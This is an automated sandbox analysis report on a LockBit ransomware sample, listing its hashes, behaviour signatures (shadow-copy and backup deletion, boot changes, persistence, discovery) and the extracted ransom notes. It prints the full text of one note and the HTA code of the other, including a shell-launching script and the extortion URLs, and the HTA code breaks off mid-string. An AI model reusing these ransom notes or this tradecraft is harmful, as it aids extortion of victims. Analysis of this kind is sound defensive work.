Overview

overview

10

Static

static

3

95739e350d...cf.exe

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    482s
  • max time network
    460s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/11/2026, 13:32

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe
  • Size 146KB
  • Sample261106-qs85bsca27
  • SHA256 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwaredefense_evasiondiscoveryevasionexecutionlockbitimpactpersistenceransomwarespyware

Malware Config

Extracted

Path

  • C:\Program Files\dotnet\Restore-My-Files.txt

  • lockbit

Ransom Note
  • All your important files are encrypted! Any attempts to restore your files with the thrid-party software will be fatal for your files! RESTORE YOU DATA POSIBLE ONLY BUYING private key from us. There is only one way to get your files back: 1) Through a standard browser(FireFox, Chrome, Edge, Opera) | 1. Open link http://lockbit-decryptor.top/?BC76D224712A7481CE4B7201CDC588B5 | 2. Follow the instructions on this page 2) Through a Tor Browser - recommended | 1. Download Tor browser - https://www.torproject.org/ and install it. | 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481CE4B7201CDC588B5 This link only works in Tor Browser! | 3. Follow the instructions on this page ### Attention! ### # lockbit-decryptor.top may be blocked. We recommend using a Tor browser to access the site # Do not rename encrypted files. # Do not try to decrypt using third party software, it may cause permanent data loss. # Decryption of your files with the help of third parties may cause increased price(they add their fee to our). # Tor Browser may be blocked in your country or corporate network. Use https://bridges.torproject.org or use Tor Browser over VPN. # Tor Browser user manual https://tb-manual.torproject.org/about
URLs

  • http://lockbit-decryptor.top/?BC76D224712A7481CE4B7201CDC588B5

  • http://lockbitks2tvnmwk.onion/?BC76D224712A7481CE4B7201CDC588B5

Extracted

Path

  • C:\Users\Admin\Desktop\LockBit-note.hta

Ransom Note
  • <html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta http-equiv="x-ua-compatible" content="ie=9"><title>LockBit</title><hta:application id=LockBit applicationName=LockBit icon=explorer.exe selection=no scroll=no contextmenu=no innerBorder=no windowState=maximize minimizeButton=no singleInstance=yes sysMenu=no /><link rel="stylesheet" href="public/css/test.css"><meta name="viewport" content="width=device-width, initial-scale=1.0"><style>html{font-size:100%}body{position:relative;border:0;font-family:Arial;padding:1% 0 0 0;margin:0;width:100vw;height:100vh;overflow:hidden}*{font-size:1rem}.g1{content:"";position:absolute;left:0;top:50%;transform:translateY(-50%);height:368px;width:150px;z-index:-1}.g2{z-index:-1;content:"";position:absolute;right:0;top:50%;transform:translateY(-50%);height:368px;width:150px}.container{width:90%;margin:auto}.container img{max-width:100%}.ht{margin-bottom:1%;position:relative;padding-left:16px;font-weight:900;font-size:1rem;line-height:100%;letter-spacing:.05em;text-transform:uppercase;color:#dedede}.hb{margin-bottom:1%}.hb img{width:850px;max-width:100%}.hi{margin-bottom:1rem;background:#fcfcfd;border:1px dashed #f71b3a;box-sizing:border-box;border-radius:4px;padding:1rem 3rem;width:100%}.hit{margin-bottom:1%;font-weight:bold;font-size:.9rem;line-height:100%;color:#222}.hib{font-weight:bold;font-size:.9rem;line-height:100%;color:#f71b3a}.main-p{font-weight:bold;font-size:1rem;line-height:125%;color:#333160}.mn{position:absolute;width:5%;height:276px;top:3rem}.mn img{max-width:90%}.ml1{position:absolute;width:50%;height:10rem;left:0;top:0;background:#f3f3fc;border:1px solid #cfd3da;box-sizing:border-box;padding:2% 2%}.ml2{position:absolute;width:50%;height:13rem;left:0;top:11rem;background:#f3f3fc;border:1px solid #cfd3da;box-sizing:border-box;padding:2% 2%}.mr3{position:absolute;padding:2% 2%;width:48%;height:24rem;left:52%;top:0;background:#ffdfdf;border:1px solid #ffa5aa;box-sizing:border-box;border-radius:4px;font-size:15px;line-height:130%}.mlb{font-size:.8rem;line-height:1.2;color:#8988a4;margin-top:2%;margin-bottom:2%}.mlb img{max-width:14px}.sp1{left:0;top:50%;position:absolute;display:block;width:6px;height:6px;background:#f71b3a;transform:translateY(-50%) rotate(135deg)}.mll{font-size:.9rem;line-height:1.2;color:#333160;margin-bottom:2%;position:relative;padding-left:20px}.mll a{font-size:.8rem}.mlt{margin-bottom:15px;font-weight:bold;font-size:.9rem;line-height:1.2;color:#333160}.mlt img{max-width:14px;position:relative}.mrli{font-size:.9rem;line-height:1.2;margin-bottom:2%;position:relative;padding-left:25px}.mrli a{font-size:.9rem}</style><script type="text/javascript">function o(c){var d=new ActiveXObject("WScript.Shell");d.run(c.href)};</script></head><body bgcolor=#F8F8F8 text="buttontext"><img class="g1" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJYAAAFwAQMAAABgpRCKAAAABlBMVEXw8PDv7+81SmF7AAAAAXRSTlMBN+Ho8AAAAWpJREFUeAHt1slxBCEMhWFRs3AkhA7BIRAahEYIDoEQOM5CIfvOX2V5nwWOX+8t6RWirzIt1QamGayDaQY7gSlZBTuBKVkBO4ENMM1gFayBdTAly2AV7ATWwQaYZrACVsFOYB1sgClZBitgDewE1sGG0ZSsGK2CNbATWP/YDC/t6K9uYDsqe4Kyb/Pflx0Y9mUEC9CrHnrVgeHgRLANhimA+fkniAPDaU9gERJgI4PoCWAe0mMH5sAgytgSWIQMJdvIIC6D0TwZFGRnNEcGhSOT71iai/4ti39mJyim9bxly27TdFpkFayBnYzWly1btuxH7AVMElgAc2CSwCJYAPNgDkzIElgE24wWwLzRdkZzRpPvWFom+rPmjLYzmjda+EY/R7AEZpxBDxZuyPyN2+7Gzd2hya1buiFTmzmwHZgHiw+8l1q27PTD1r5h1WjFaBlMZhtG62AnsAZWwDKYzNbBGliZbchs9Z3eAJcyeuremDsyAAAAAElFTkSuQmCC"><img class="g2" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJYAAAFwAQMAAABgpRCKAAAABlBMVEXv7+/w8PB6KHGJAAAAAnRSTlP/AZKwANwAAAGJSURBVHgB7dSHbQMhFMbxh1xQZwQWyA6MdozGCBmBEVB3QRApF3wk77P80l34q/+uH4Xqx56JWSRmO+LmuSXi5rll4haBEbcMLAEL3Apx2wFLwAIw4paB7YBFYAEYcSvAdsASsAjMAyNuBVgGtgMWheaBEbcitJ3QErAILADzwEhmBVheQGfig9ssncgCqyeLjfRioZkFVhfzb7QCZjrrbtesNJu4qbpYbo8AZjrbtUcAc52l9lhuqnYWZ1sB072F2Qww25ufzV2y9nrAKjfVW5ltJTTdW57NCM32tjtv7pKl2SahVZmpdxY/ZasvWXg1/cNmftX82fMsOg+YvVobNmxHvAgsAPPQ/rPRaDR64qQzN8dNVW4amAXmgE3cVOW2AqaBGaFZYA7YJLQqMyW01TdMQxu2+oYpoZHUJqE5YFZoBpgGtgJGyCZg7opsunKr123qBm115aavyFZCU9/ZDwywW2k08j9s4RsWhZaEtgOWgRWhVWQeWACWgO2AZWAVWQCWgBVg7MQX+2SwUiS8JcwAAAAASUVORK5CYII="><div class="container" style=""><div class="ht"><span style="width:6px;height:15px;background:#f71b3a;position:absolute;display:block;left:0;top:0"></span> Lock <span style="color:#c4c4c4">BIT</span></div><div class="hb"><img src="data:image/png;base64,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"></div><div class="hi"><div class="hit">Any attempts to restore your files with the thrid-party software will be <span style="color:#f71b3a;font-size:.9rem">fatal for your files!</span></div><div class="hib">Restore you data posible only buying private key from us.</div></div><div class="main-p">There is only one way to get your files back:</div><div style="position:relative;margin-top:15px"><div class="mn" style=""><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADgAAAEVBAMAAABH7TtxAAAALVBMVEVHcEz/NXAiIiL9DTYiIiKSIDUiIiL9EzwiIiIiIiL/N3L9ACP8AST+KF3+G0rPEf4SAAAADHRSTlMA/v7+PxmqQoLamc5bm0ExAAAB20lEQVR4Ae3ZtZYUURDG8W9npgV39289xd01w909w2Ncwjl95gHgPYhwWc1xYngFpLjdhd1G16vG539+reHF5+k/fj28c2vYKG/rP2zYsPV+OMxHBSrdvBIAtl9RqDQkKwAONihUeokJlyJkg0KlrAl5IU4kKhwm51ri1BLLBSYSsWFYOicllj/1wmG3z6qfxAAuRtlmkUU92lMu3kS2T42RQjnamPslhtwv1EE9T42RQrlCDdAoVKDM2ivrAaxchdLKpRAq0DOnBHqmaph8WLTY3pPkoOd5cVLeZnNle4dIPVqLFi1a7DtxcK580SFy0LsO2efg93nxRSdKixYtWrToiYs7RBY7RhZn5MW3eXHxX8sZ3U1atGjRYs+Nd7uZHNiUFxd2vizmbtaiRYsWOz7ubjrpbcHtpjneuKup6e5JP2xqeuiHSnHj+FJg7dErUNiU7nUH2YCQ5P4MKj3YeIlLl/MoaxSmew1YG3P/pTq3GDmgqcnR9ekqZjlYhUTi7qZ0dP0T2MpaJ92s1xgk/LLWuFD3mcV1rEBmk24VCDhVet16BCvXO+ogkDRs5YUdrLt2OOR+Rx0ElpNcf4lknUShKUScsIJEo1AHgWAVdIR6b4rQk/4YnMNP5yP+Vz9OakSaLAAAAABJRU5ErkJggg=="></div><div style="margin-left:6%;position:relative"><div class="ml1"><div style="position:relative;top:50%;transform:translateY(-50%)"><div style="font-weight:bold;font-size:1rem;line-height:1.2;color:#333160">Through a standard browser</div><div class="mlb" style=""><span class=sp2><img class=im1 src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAMAAADzapwJAAAAY1BMVEVHcEz4fjvvK2LqH3P/tir8ezv/wED/5kX/ZjD9vkfnEXL/0j7/vkTpEXb9cjb/kzy8Q6r/1ED/TznmFGf7RUT8NEywP+L/hyP/niFwVuD8n0ZdQ7qWUfaERaXbiHTFZZvjbl9nN+NgAAAAEXRSTlMAScQ1/f0k/v795cCNa4m53VLHdv8AAADlSURBVHgBbdCFseRAFEPRZ8aBZhrKP8qVyrCfbvGRseVr/bDKHw3D0P/WZUByVvX7I9hyaqzkxouVoq/bRU2I1y6LSKvYoJaFPIYQYqzu3vv3RJ8Urq82jlCUFZtE6nH3F3RS08TniNhxjG3bxti+HptjqESPuLxt8+v1QG+lMngVqzX8k1Iie1yQ1bSK0/CulIQ2nsizpT/h7B1zbqfcS+3othQOz64LGLJIY5y18Cf8iceFkDsexWzcNiC8veu6Ty+8HI6BExvtVdiFzoGLdaYmbo5hy5yK58zm7EI4h5rLPB/4DxqxF47gGEvnAAAAAElFTkSuQmCC"> FireFox</span><span class=sp2><img class=im1 src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAMAAADzapwJAAAAYFBMVEVHcEz00VVeqmPweG3wyD/xfHLsXFHDlVX30itXtlZpsm5ttW/MyFP80QpEokbnSkM9l0NJsEjmPDnuvhpIiLoocKZinMvc6ep6vWvZLS765tSBsdm01s345JColGfysbE6tkU1AAAADXRSTlMAkd/q5pH9Gf35n4P7qmehqgAAAMxJREFUeAFdzkUCAzEIQFHGPR2JS3v/W5ZAqn/5IgDc0DVN3zdNNwDH2L/rPtqwcM1QtL/91LP/KXrW+X7+1+EXk3Un1j+8T2NpgOU47s6djYkhRDNuVAX1cUzO9SZoLBRvYTqOw7oHKXoiHuHI3byWnN8oOES+7uUfT0LgQdSK0q9PapGzhvk9ctkzH9ZIpaRJrwUHse90PxoTLes4AMw7uziEoC+uqwKsRi8vWNus9A3ziIY6ADvf39frrdxM90krFm5YarFebVuVq0+4NRetybj2pgAAAABJRU5ErkJggg=="> Chrome</span><span class=sp2><img class=im1 src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAAAWCAMAAAAYXScKAAAAY1BMVEVHcEwAedYAdtgAeNgAeNcAeNcAeNcAeNIAd9cAeNcAeNcAeNgAfN0AeNYAeNcAeNgAeNcAe9gAeNcAeNcAeNcAd9cAeNcAd9YAeNgAedYAeNkAeNcAd9cAedcAeNgAeNcAeNc6tkZ/AAAAIHRSTlMALxgGQ8nsEXj7snIJZNHyfyDfwl1O5SeIgzuhnKZo05CQcN8AAACwSURBVHgBbc8DFgMwAATRjVnbe/9TNqr7HzMxOn2ezsJ2NV/gRRgO4eQwrANftmLsrvHFtlMWluRqvjnqtGzZoIjkaafavtzPXwM7bjXEtF9+fCye3yT0LKJRbCQuEtLSu862uoEAzvxyBeDCd/Wlbviv+r/1QPLg3uVSU6kR3zQL/Ro7VMqWGlJGldfTCZp+nb3M/T7OyFGV4cuzQpp/FWr/+p8ReJJptQyzZfQ7FHeNJB1m5s+ePQAAAABJRU5ErkJggg=="> Edge</span><span class=sp2><img class=im1 src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAMAAADzapwJAAAAY1BMVEVHcEzxLDT9Giy8Dxf0Iy/7GSumBwf/S0viIC3xJS/PGiPgNDXyQEC7DRjfFCS6FBuzCBn/S0uoBA7dECO2Cxf/Gi3+Giy3CxbHEB3NJCTnFCbyFyncMDDrOzvdESPWDiH2REQmbLlRAAAAFnRSTlMAT/O+atf9/g+UKju13a19o8+z5Fax7DmIbwAAAMpJREFUeAFNkQWSRTEIwKj9hefudv9TLvA0Y51M6nCCvg3WhtYjvCDZjgkZEfnHRkGl+ykVXlbTLOJRJT5Vj9oSKHnf978KGNIV4ML1TMOxLmGefYZxGFMA/40lH5kY2ndlJRedg27oX20WhsDO3cxLP8SiM9bMV69MAkH0dxHRBNnE0Kv9wXjwoutXl39MBFhvjHmWFlvKrJ2p8Rtr5IZ9GLLTJ2LPnTAdGGcQjbYJnKA825Byqe37b03aC64oiga+xHlRVUUewck/39YRRHixjWAAAAAASUVORK5CYII="> Opera</span></div><div class="mll"><span class=sp1></span> Open link - <a href="http://lockbit-decryptor.top/?BC76D224712A7481CE4B7201CDC588B5" class=ah1 onclick="o(this)">http://lockbit-decryptor.top/?BC76D224712A7481CE4B7201CDC588B5</a></div><div class="mll"><span class=sp1></span> Follow the instructions on this page </div></div></div><div class="ml2"><div style="position:relative;top:50%;transform:translateY(-50%)"><div class="mlt" style="">Through a <img style="" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAMAAADzapwJAAAAY1BMVEVHcExZHndvHpdaG3lsE5pwGJuVKMuKGcGRGstuE5xTGXF5J6J1IZ6OJcNgE4Z1FKRoEpJ9F69XD3tQDnBIDWWDF7huE5zx4f7q1/nJpOCudM6YQ8OARp/cvPC6jtOea7rUuuYllRdmAAAADnRSTlMA0fuAG2LZ/v4M7MLpgwNPlkYAAADtSURBVHgBTdBFAsQgDIXh1B2pQYLe/5RTpfPt8r9d4NZVdd22dV118OmmNpnSUNbNVbRD0zR1+dTm1pJ3yh3D1bt6e/q2bcZps9XdkafthXQsePQJoJMJakVSuihlB9WXuSRF3CjDKxh4YjgnJbnzfIDxywp3rmknt4+Q74lSdke/B73nkIvkyAK9CFrkMP5lFEIHQU6MMLDEMkY6Z9GzASr2h1RgVllWQcfmF2odZhZxZh1AkbIPbGao87kAgC5bPjZqu2QdHMr+uNezhaiQLf378Gy96OjtumYlPLpiWR9L0cGnq7J+XfuseuIP/UgbRHKlR6QAAAAASUVORK5CYII="> Tor Browser - <span style="color:#f71b3a">recommended</span></div><div class="mll"><span class=sp1></span> Download Tor Browser - <a href="https://www.torproject.org/" class=ah1 onclick="o(this)">https://www.torproject.org/</a> and install it. </div><div class="mll"><span class=sp1></span> Open link in Tor Browser - <a href="http://lockbitks2tvnmwk.onion/?BC76D224712A7481CE4B7201CDC588B5" class=ah1 onclick="o(this)">http://lockbitks2tvnmwk.onion/?BC76D224712A7481CE4B7201CDC588B5</a> This link only works in Tor Browser! </div><div class="mll"><span style="left:0;top:50%;position:absolute;display:block;width:6px;height:6px;background:#f71b3a;transform:translateY(-50%) rotate(135deg)"></span> Follow the instructions on this page </div></div></div><div class="mr3"><img style="position:absolute;left:50%;top:-28px;transform:translateX(-50%)" src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTAzIiBoZWlnaHQ9IjUxIiB2aWV3Qm94PSIwIDAgMTAzIDUxIiBmaWxsPSJub25lIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgo8ZyBmaWx0ZXI9InVybCgjZmlsdGVyMF9kKSI+CjxyZWN0IHg9IjE1IiB5PSIxNSIgd2lkdGg9IjczIiBoZWlnaHQ9IjIxIiByeD0iNCIgZmlsbD0iI0ZGNDE0QyIvPgo8cmVjdCB4PSIxNS41IiB5PSIxNS41IiB3aWR0aD0iNzIiIGhlaWdodD0iMjAiIHJ4PSIzLjUiIHN0cm9rZT0iI0ZGMjgzNSIvPgo8L2c+CjxwYXRoIGQ9Ik0yOS45Mjg5IDI5SDI4LjM2ODlMMjcuODg4OSAyNy42MkgyNS4zODA5QzI1LjMzMjkgMjcuNzcyIDI1LjI0ODkgMjguMDA0IDI1LjEyODkgMjguMzE2QzI1LjAxNjkgMjguNjIgMjQuOTM2OSAyOC44NDggMjQuODg4OSAyOUgyMy4zMjg5TDI1LjgyNDkgMjEuOEgyNy40NDQ5TDI5LjkyODkgMjlaTTI3LjQ0NDkgMjYuMjE2TDI2LjYyODkgMjMuOUMyNi41NDA5IDI0LjE1NiAyNi40MDQ5IDI0LjU0NCAyNi4yMjA5IDI1LjA2NEMyNi4wNDQ5IDI1LjU3NiAyNS45MTI5IDI1Ljk2IDI1LjgyNDkgMjYuMjE2SDI3LjQ0NDlaTTM1LjIxMzYgMjMuMjA0SDMzLjI4MTZWMjlIMzEuODA1NlYyMy4yMDRIMjkuODYxNlYyMS44SDM1LjIxMzZWMjMuMjA0Wk00MS4zNDI1IDIzLjIwNEgzOS40MTA1VjI5SDM3LjkzNDVWMjMuMjA0SDM1Ljk5MDVWMjEuOEg0MS4zNDI1VjIzLjIwNFpNNDcuMTk1NCAyOUg0Mi40Njc0VjIxLjhINDcuMTk1NFYyMy4yMDRINDMuOTMxNFYyNC42OEg0Ny4wODc0VjI2LjA4NEg0My45MzE0VjI3LjU5Nkg0Ny4xOTU0VjI5Wk01My45MjI5IDI5SDUyLjQ0NjlMNTAuMTE4OSAyNC43NjRWMjlINDguNjU0OVYyMS44SDUwLjE1NDlMNTIuNDU4OSAyNi4wOTZWMjEuOEg1My45MjI5VjI5Wk02MC40MjA3IDIzLjIwNEg1OC40ODg3VjI5SDU3LjAxMjdWMjMuMjA0SDU1LjA2ODdWMjEuOEg2MC40MjA3VjIzLjIwNFpNNjMuMDY5NiAyOUg2MS41OTM2VjIxLjhINjMuMDY5NlYyOVpNNzAuMTQ4MiAyNy4yMTJDNzAuMTQ4MiAyNy41MDggNzAuMDgwMiAyNy43NTYgNjkuOTQ0MiAyNy45NTZDNjkuNjA4MiAyOC4zODggNjkuMzE2MiAyOC42OCA2OS4wNjgyIDI4LjgzMkM2OC44MTIyIDI4Ljk4NCA2OC41NDgyIDI5LjA2IDY4LjI3NjIgMjkuMDZINjYuNDUyMkM2Ni4xODAyIDI5LjA2IDY1LjkxNjIgMjguOTg0IDY1LjY2MDIgMjguODMyQzY1LjU0MDIgMjguNzYgNjUuMzg0MiAyOC42MjggNjUuMTkyMiAyOC40MzZDNjUuMDA4MiAyOC4yMzYgNjQuODcyMiAyOC4wNzYgNjQuNzg0MiAyNy45NTZDNjQuNjQ4MiAyNy43NTYgNjQuNTgwMiAyNy41MDggNjQuNTgwMiAyNy4yMTJWMjMuNkM2NC41ODAyIDIzLjI5NiA2NC42NDgyIDIzLjA0NCA2NC43ODQyIDIyLjg0NEM2NC44NzIyIDIyLjcyNCA2NS4wMDgyIDIyLjU2OCA2NS4xOTIyIDIyLjM3NkM2NS4zODQyIDIyLjE4NCA2NS41NDAyIDIyLjA1MiA2NS42NjAyIDIxLjk4QzY1LjkxNjIgMjEuODI4IDY2LjE4MDIgMjEuNzUyIDY2LjQ1MjIgMjEuNzUySDY4LjI3NjJDNjguNTQ4MiAyMS43NTIgNjguODEyMiAyMS44MjggNjkuMDY4MiAyMS45OEM2OS4yOTIyIDIyLjEwOCA2OS41ODQyIDIyLjM5NiA2OS45NDQyIDIyLjg0NEM3MC4wODAyIDIzLjA0NCA3MC4xNDgyIDIzLjI5NiA3MC4xNDgyIDIzLjZWMjcuMjEyWk02OC42ODQyIDI3LjIxMlYyMy42QzY4LjU3MjIgMjMuNDA4IDY4LjQyODIgMjMuMjYgNjguMjUyMiAyMy4xNTZINjYuNDg4MkM2Ni4zMTIyIDIzLjI4NCA2Ni4xNjQyIDIzLjQzNiA2Ni4wNDQyIDIzLjYxMlYyNy4yMTJDNjYuMjA0MiAyNy40MjggNjYuMzQ4MiAyNy41NzYgNjYuNDc2MiAyNy42NTZINjguMjQwMkM2OC4zOTIyIDI3LjU0NCA2OC41NDAyIDI3LjM5NiA2OC42ODQyIDI3LjIxMlpNNzYuODQ0OCAyOUg3NS4zNjg4TDczLjA0MDggMjQuNzY0VjI5SDcxLjU3NjhWMjEuOEg3My4wNzY4TDc1LjM4MDggMjYuMDk2VjIxLjhINzYuODQ0OFYyOVpNODAuMTc0NSAyNi45OTZINzguNzIyNVYyMS43ODhIODAuMTc0NVYyNi45OTZaTTgwLjIxMDUgMjlINzguNjk4NVYyNy41MTJIODAuMjEwNVYyOVoiIGZpbGw9IndoaXRlIi8+CjxkZWZzPgo8ZmlsdGVyIGlkPSJmaWx0ZXIwX2QiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMDMiIGhlaWdodD0iNTEiIGZpbHRlclVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzP
URLs

  • http-equiv="Content-Type"

  • http-equiv="x-ua-compatible"

Signatures

  • Family: Lockbit

    Ransomware family with multiple variants released since late 2019.

    ransomwarelockbit
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
    ransomwareevasion
  • Renames multiple (6261) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 7 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 64 IoCs
    defense_evasion
  • Drops file in Program Files directory 64 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Interacts with shadow copies 3 TTPs 2 IoCs

